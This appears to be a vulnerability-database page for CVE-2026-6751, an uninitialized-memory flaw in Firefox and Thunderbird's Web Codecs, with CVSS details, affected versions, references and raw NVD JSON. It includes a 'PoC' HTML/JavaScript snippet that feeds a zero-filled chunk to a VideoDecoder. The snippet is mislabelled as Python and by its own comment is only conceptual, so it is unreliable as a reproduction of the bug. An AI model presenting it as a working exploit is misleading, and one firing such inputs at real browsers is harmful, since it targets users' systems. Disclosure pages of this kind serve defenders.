CVE-2026-6751

Description

Uninitialized memory in the Audio/Video: Web Codecs component. This vulnerability was fixed in Firefox 150, Firefox ESR 140.10, Thunderbird 150, and Thunderbird 140.10.

CVSS Details

CVSS Score

7.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:* - VULNERABLE

cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE

cpe:2.3:a:mozilla:thunderbird:*:*:*:*:esr:*:*:* - VULNERABLE

Firefox < 150

Firefox ESR < 140.10

Thunderbird < 150

Thunderbird < 140.10

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-6751
Conceptual demonstration of triggering uninitialized memory in Web Codecs.
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-6751 PoC</title>
</head>
<body>
<script>
    // Step 1: Initialize a VideoDecoder
    const decoder = new VideoDecoder({
        output: (frame) => {
            console.log("Frame output:", frame);
            frame.close();
        },
        error: (e) => console.error("Decoder error:", e)
    });

    // Step 2: Configure decoder with vulnerable codec settings
    try {
        decoder.configure({
            codec: 'avc1.64001F', // Example codec
            codedWidth: 800,
            codedHeight: 600,
            optimizeForLatency: true
        });

        // Step 3: Create a malformed chunk to trigger uninitialized memory read
        // Note: Actual exploit requires precise bitstream manipulation based on the specific bug.
        const buffer = new ArrayBuffer(1024);
        const view = new Uint8Array(buffer);
        view.fill(0); // Fill with zeros or specific pattern
        
        // Malformed EncodedVideoChunk
        const chunk = new EncodedVideoChunk({
            type: 'key',
            timestamp: 0,
            data: buffer
        });

        // Step 4: Feed the chunk to the decoder
        decoder.decode(chunk);
        console.log("PoC payload sent. Monitor for crashes or memory artifacts.");

    } catch (err) {
        console.error("Exception during PoC execution:", err);
    }
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6751
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6751
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6751/
[4] VulDB https://vuldb.com/cve/CVE-2026-6751
[5] https://bugzilla.mozilla.org/show_bug.cgi?id=2025883
[6] https://www.mozilla.org/security/advisories/mfsa2026-30/
[7] https://www.mozilla.org/security/advisories/mfsa2026-32/
[8] https://www.mozilla.org/security/advisories/mfsa2026-33/
[9] https://www.mozilla.org/security/advisories/mfsa2026-34/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-6751", "sourceIdentifier": "[email protected]", "published": "2026-04-21T13:16:21.163", "lastModified": "2026-04-22T16:08:53.690", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Uninitialized memory in the Audio/Video: Web Codecs component. This vulnerability was fixed in Firefox 150, Firefox ESR 140.10, Thunderbird 150, and Thunderbird 140.10."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-457"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.10.0", "matchCriteriaId": "15AF037C-5C86-48EB-B1DE-3AC100A34596"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "150.0", "matchCriteriaId": "67B01D49-66FA-4C76-9EB4-2B8CD61FBEB2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:esr:*:*:*", "versionStartIncluding": "140.0", "versionEndExcluding": "140.10.0", "matchCriteriaId": "6A8A3284-C06C-4591-9548-5324BD91C4FC"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2025883", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-30/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-32/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-33/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-34/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}